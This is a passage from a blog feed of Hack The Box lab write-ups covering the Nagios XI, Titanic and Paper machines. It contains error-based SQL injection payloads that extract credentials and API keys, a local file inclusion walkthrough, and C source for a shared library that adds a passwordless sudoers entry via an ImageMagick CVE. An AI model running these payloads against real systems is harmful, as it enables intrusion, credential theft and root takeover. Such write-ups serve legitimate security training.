&lt;p&gt;This seemed to work and displayed the version, meaning our query worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f034f61480bb79c1377cea9bcddc918.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important
Going forward we need to make sure that our query throws an error message, or it will simply not be telling us the outcome of our query i.e.
&lt;img src=&quot;attachments/5d6bdc64731e1247db713a0f31917cbe.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/200269472b39305021d19e9343935a8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice that there&apos;s a total of 2 databases, namely &lt;code&gt;information_schema&lt;/code&gt; and &lt;code&gt;nagiosxi&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Next step here would be to query the table and columns of the &lt;code&gt;nagiosxi&lt;/code&gt; database. To get the full output we can use something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 AND EXTRACTVALUE(1,concat(1, (select group_concat(TABLE_NAME, COLUMN_NAME) from information_SCHEMA.COLUMNS where TABLE_SCHEMA = &apos;nagiosxi&apos;)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However the output only shows the first part since the output is limited:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/81ef170e250b31e76b02c6b57ad65ab7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can change it up in order to get the individual tables first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 AND EXTRACTVALUE(1,concat(1, (select TABLE_NAME from information_SCHEMA.COLUMNS where TABLE_SCHEMA = &apos;nagiosxi&apos; LIMIT 0,1)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This would be an extraordinary tedious process, but when increasing the number in &lt;code&gt;LIMIT 0,1&lt;/code&gt; it will go on to the next table in the database. To speed things up we can use &lt;code&gt;Intruder&lt;/code&gt; inside &lt;code&gt;burpsuite&lt;/code&gt;:&lt;/p&gt;
&lt;h3&gt;Burpsuite - Intruder&lt;/h3&gt;
&lt;p&gt;We will send our initial request to &lt;code&gt;Intruder&lt;/code&gt; and then do the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2de2c9685ddfd981973e8dea9922dd6c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b873fef76b6a33bfa77c8c16beb21bb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
This will still be an enormously tedious process to check, however as per &lt;a href=&quot;https://www.youtube.com/watch?v=Ulb2rm2qbJY&quot;&gt;this ippsec video&lt;/a&gt; I learned how to make it a more grep-able output.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a648bd7c5b8e2b549f62d4d3dae6ddff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will now click on &lt;strong&gt;Add&lt;/strong&gt; and add the following expression and delimiter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aeba8ba773bdd7061b905f1c895e71b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This will make sure that our output starts at the &lt;code&gt;|&lt;/code&gt; symbol we used in the &lt;code&gt;concat&lt;/code&gt; command, and it will end in the single quote SQL delimiter.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/622a1662cf97d0b412c1efb9109123e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We found the table name that we&apos;re looking for, namely &lt;code&gt;xi_users&lt;/code&gt;. Now let&apos;s modify our &lt;code&gt;Repeater&lt;/code&gt; query and get the columns from this table.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2f32b2f9cf69cf396254d8c6cd7a500.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Again when we change it to &lt;code&gt;1,1&lt;/code&gt; we get the following column:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8174168b4b774cc061e94996364a3fcb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When running this in &lt;code&gt;Intruder&lt;/code&gt; we notice that &lt;code&gt;1,1&lt;/code&gt; returns usernames and &lt;code&gt;2,1&lt;/code&gt; returns passwords.&lt;/p&gt;
&lt;p&gt;Furthermore &lt;code&gt;7,1&lt;/code&gt; returns us the &lt;code&gt;api_key&lt;/code&gt; variable that we so desperately need:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/42e591968ac321d5b554bf9db6a2f66d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now get the juicy stuff, this being the &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt; and &lt;code&gt;api_key&lt;/code&gt; variables.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 AND EXTRACTVALUE(1,concat(0x7e,(SELECT username from xi_users LIMIT 0,1)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b68a3ac6b846afbf1eff29226ecce8d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Since it can&apos;t give us full outputs we&apos;ll have to improvise by using the &lt;code&gt;SUBSTRING&lt;/code&gt; command.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 AND EXTRACTVALUE(1,concat(0x7e,(SELECT substring(password,1,28) from xi_users LIMIT 0,1)))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nagiosadmin
$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C
IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb630d6616b391d50e3bb9c54474c2e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll try to crack it for good measure.&lt;/p&gt;
&lt;p&gt;:::fail
Spoiler alert, this wouldn&apos;t crack.
:::&lt;/p&gt;
&lt;h2&gt;New Account creation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/440112eac57d2c16e239203d269b776b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time the curl command worked, confirming the correct API key.&lt;/p&gt;
&lt;p&gt;After some more snooping online I found the following PoC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29f59e14baf1c29e3597ec4a359c8166.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found a POST request that creates a new admin user using the admin API key (the one we just found).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9a4591a69d15518cd425a6ede34ba0ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We follow the same &lt;code&gt;data&lt;/code&gt; command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8b266a94dac6e1b42ea4c5037e6857d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It shows the user has been succesfully created.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;l33th4x0r
Password123
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as Nagios&lt;/h2&gt;
&lt;p&gt;We can now log out and login again as our newly created user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54978b96a0152adcbf46f1dc8ee23e85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice the new &lt;strong&gt;Admin&lt;/strong&gt; panel:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4208025e9cd4dabafd847ea37f375633.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this isn&apos;t as interesting for us, instead let&apos;s peek at this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/af7d8627019b39743a50eaffdea6d771.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can create and execute commands from the config manager, let&apos;s try and create a reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9bfda65428cb64339a33d4b93e0d34a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we press &lt;strong&gt;Save&lt;/strong&gt; and head on over to the &lt;strong&gt;Core Config Manager&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Services&lt;/strong&gt; tab where we also add a new service.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ca8a582b7cc713c709342d9ada409b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0afba7d3775417c040b91830a82b4a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1e735327469efc6c33b74e7dd6593ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just like that we got a revshell.&lt;/p&gt;
&lt;h2&gt;user.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b559df6e051ecb8bd45e45ca63385ede.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;User enum&lt;/h2&gt;
&lt;p&gt;Before doing any enum I went ahead and made my life easier by using my private key to SSH into the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f08f1b7ecd9fc7de41fde84856fb8433.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that I had a more stable shell I went on with enumeration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df3c5945cd96b2a37ef4f7a3da6d40be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From these files I noticed that &lt;code&gt;getprofile.sh&lt;/code&gt; zipped log files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/844143d0c666be360d676a3697116f31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;We will now be inspecting the &lt;code&gt;getprofile.sh&lt;/code&gt; script and check for symlinks.&lt;/p&gt;
&lt;p&gt;:::important
When zipping files, symlinks are one of the most important things to look for.
:::&lt;/p&gt;
&lt;p&gt;:::note
For this I will also be following along with the ippsec video as I do not know enough about symlinks.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c3e873499ffe36bbac93bd432bc149a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice inside the script that it&apos;s grabbing the last 500 characters from the &lt;code&gt;cmdsubsys.log&lt;/code&gt; file and zipping it into the &lt;code&gt;cmdsubsys.txt&lt;/code&gt; file inside the zip. Let&apos;s create a sym link involving the presumed &lt;code&gt;id_rsa&lt;/code&gt; file from &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5cd295d7db52f8f4fe70abea9dd4d8a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/66324e33e278cfa9b2d6e16d714d1360.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see if it worked.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b2fd1503c2c5d11dec5316befb106fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We then head on down the rabbit hole until we find the correct file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f18c3b6abdb1463d89f12296df4f4ca6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Perfect, let&apos;s copy it over and get our root shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b4dabd462754d59c3adaa3413c6a6c95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just like that we&apos;ve got access as &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c19dcc55cec194c3deae55cfe9d6438b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a80b4190501fd3203dcd3a30913662e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Titanic</title><link>https://maxk9999.vercel.app/posts/titanic</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/titanic</guid><pubDate>Mon, 21 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.55
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV titanic -sT -T5 --min-rate=5000 -Pn -vvvv

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We only have 2 ports, let&apos;s check out port &lt;code&gt;80&lt;/code&gt; first.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa89f0b0c2b7cefc0d69b845e227ae62.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff3296431d382cd2051d0ca87d4aac01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out what happens underneath with &lt;code&gt;burp&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Burpsuite&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e3bea6d9fe4d4ac481a65f0c38faed2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly it then gives us a GET request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca12dd08c7966277c6403e3e40f90239.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since there&apos;s nothing else here this points to a HIGHLY LIKELY &lt;strong&gt;LFI/RFI&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;LFI&lt;/h3&gt;
&lt;p&gt;We test it using the standard &lt;code&gt;/etc/passwd&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c86ace092aea463b9e74d45774991c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems to work! We found a user &lt;em&gt;developer&lt;/em&gt; in here.&lt;/p&gt;
&lt;p&gt;:::success
For CTF purposes I then got the &lt;code&gt;user.txt&lt;/code&gt; flag, but best case I would first need to get RCE:
&lt;img src=&quot;attachments/dc79e61f212fa47dac28202df4a60a31.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;From here I could go ahead and try to get RCE.&lt;/p&gt;
&lt;p&gt;I had hoped that there would be an &lt;code&gt;id_rsa&lt;/code&gt; file inside the &lt;code&gt;.ssh&lt;/code&gt; directory of &lt;em&gt;developer&lt;/em&gt; but alas:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21305b52be99f2ec8ae1c0bdf2824413.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
As always I&apos;d have to think outside the box here, I tried to look up &lt;strong&gt;LFI werkzeug&lt;/strong&gt; on Google however whatever I tried it didn&apos;t work.
:::&lt;/p&gt;
&lt;p&gt;Eventually I tried the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/74912c0c44792b61de381e0b2f5d9f99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By checking out the target&apos;s &lt;code&gt;/etc/hosts&lt;/code&gt; file we found the &lt;code&gt;dev&lt;/code&gt; subdomain! Let&apos;s add it and check it out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de2a4e4b08eb00f5892d2aa07455037d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s running 2 &lt;code&gt;GitHub&lt;/code&gt; repo&apos;s.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0f45a9428f82855e323ae1f5dfb64b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;docker-config&lt;/code&gt; repo seems interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a6f69254e505f22a34152bde982ee10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31d13b5f776542b2288c606c2115af04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find a &lt;code&gt;MYSQL_ROOT_PASSWORD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MySQLP@$$w0rd!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Furthermore we also find a path:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3f4e96fd9e0aa7630a38baa465ee27da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As per the &lt;a&gt;official GitHub repo&lt;/a&gt; we should be able to check out the &lt;code&gt;/gitea/&amp;lt;CUSTOM&amp;gt;/conf/app.ini&lt;/code&gt; page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04a1cb49d1220a67e01c505a920a9e0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After some wrestling around, this turned out to be the correct one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dbb71927c5fdf398cab0ab27951fb316.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b160ab11da7cd01512f970e30cea436.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SQLite3&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;[database]&lt;/code&gt; part seems interesting, let&apos;s try to fetch the &lt;code&gt;gitea.db&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;:::success
This worked and returned a shitload of SQL code.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43a14bae88362855e8715e0075bddaf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This seems to return some hashes, let&apos;s try to decrypt this shit.&lt;/p&gt;
&lt;p&gt;First we will save this file in order to query it using SQLite3.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8310158d3cf0545cb57f0193abf67b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will then delete the header in order to be able to query the db:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61ca0934bae5962a76f7a4f488f8c643.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
This did NOT work and it wouldn&apos;t recognize the fail as a &lt;code&gt;.db&lt;/code&gt; file, instead I opted for &lt;code&gt;curl&lt;/code&gt; to save the file with full integrity.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4f53bb6371138a9ecfb89cd78dcf0e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8052220fe8ab5c846e6453753fc707e8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Right, let&apos;s query the DB now.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlite&amp;gt; SELECT * FROM user;
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0

2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the &lt;code&gt;.schema user&lt;/code&gt; query I notice that the 8th and 9th column are the &lt;code&gt;passwd&lt;/code&gt; and &lt;code&gt;passwd_hash_algo&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Hashcat&lt;/h2&gt;
&lt;p&gt;In order to crack this hash I looked up some tools to simplify the process, since &lt;code&gt;hashcat&lt;/code&gt; doesn&apos;t support &lt;code&gt;pbkdf2&lt;/code&gt; hashes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7790128fc367fd284a67561be02fa043.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s make a new query that grabs all relevant parts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9bded6d3d1a42321c7295595cfad7aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0bfc13fd4077967f6f3a0387460c2b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b0645ff44943ebb03a2599d4f1644d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
Unfortunately the root hash wouldn&apos;t crack.
:::&lt;/p&gt;
&lt;p&gt;However the &lt;em&gt;developer&lt;/em&gt; hash cracked right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f6008db3f0b0e739bd057a0d27c3a96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;developer
25282528
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a319604478441ec2e2b2db5ddd54bca6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was now in, awesome!&lt;/p&gt;
&lt;h2&gt;user.txt&lt;/h2&gt;
&lt;p&gt;For logging purposes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39192e8071e76952914d65c7b27e7fc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enum&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e5e8f2cd6b581e69ea1e9aa579eab2c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunate.&lt;/p&gt;
&lt;p&gt;I transferred over &lt;code&gt;linpeas.sh&lt;/code&gt; and started doing enumeration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8927fdee5e8307fea5f2ed4103e092e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/84bc988ef7ed8454500c6783bce72a01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5509bf0c2421e3845dab1e7a3f827a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting, perhaps the &lt;code&gt;identify_images.sh&lt;/code&gt; will be a quick win.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cd18d5aa7dad73e008f6fdb30ea0e99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out what this script is doing&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;Apparently it&apos;s using software called &lt;code&gt;ImageMagick&lt;/code&gt; to identify images and then push them into the &lt;code&gt;metadata.log&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1844ef53eb65f90bf033579f87cc629f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2024-41817&lt;/h2&gt;
&lt;p&gt;There&apos;s an existing &lt;a href=&quot;https://mindpatch.medium.com/cve-2024-41817-how-env-var-triggers-rce-in-imagemagicks-appimage-14d54aba5613&quot;&gt;CVE for this software&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df9f7fe1ddcaa7b121030011b2a3359c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void _init() {
    unsetenv(&quot;LD_PRELOAD&quot;);
    setgid(0);
    setuid(0);
    system(&quot;echo &apos;developer ALL=(ALL) NOPASSWD:ALL&apos; | sudo tee -a /etc/sudoers&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Above command makes developer user able to use sudo without using password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d8ebdb1fb0fca2fd50cec73683f4404.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/86d2160d34083d320f86ed8b57511c0c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1aa62793d39e34021ff51f948fd0660.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::summary
As ChatGPT summarizes the privesc technique:
&lt;img src=&quot;attachments/8b34b72a07f4000be5527c0576b73415.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;attachments/511d7ff9e8fff5d9bb4cd97499158d7d.png&quot; alt=&quot;&quot; /&gt;
Overall &lt;em&gt;MEDIUM&lt;/em&gt; difficulty for me at this stage, definitely needed some help with the priv esc simply because I did not fully understand it yet.
:::&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Paper</title><link>https://maxk9999.vercel.app/posts/paper</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/paper</guid><pubDate>Tue, 22 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;10.10.11.143
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -sT -T5 -vvvv -p- 10.10.11.143

PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.0 (protocol 2.0)
80/tcp  open  http     syn-ack Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open  ssl/http syn-ack Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
commonName=localhost.localdomain/organizationName=Unspecified/countryName=US/emailAddress=root@localhost.localdomain/organizationalUnitName
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcb71800b6041537de7d77575076afec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There really is nothing here, time for &lt;code&gt;feroxbuster&lt;/code&gt; to do its thing.&lt;/p&gt;
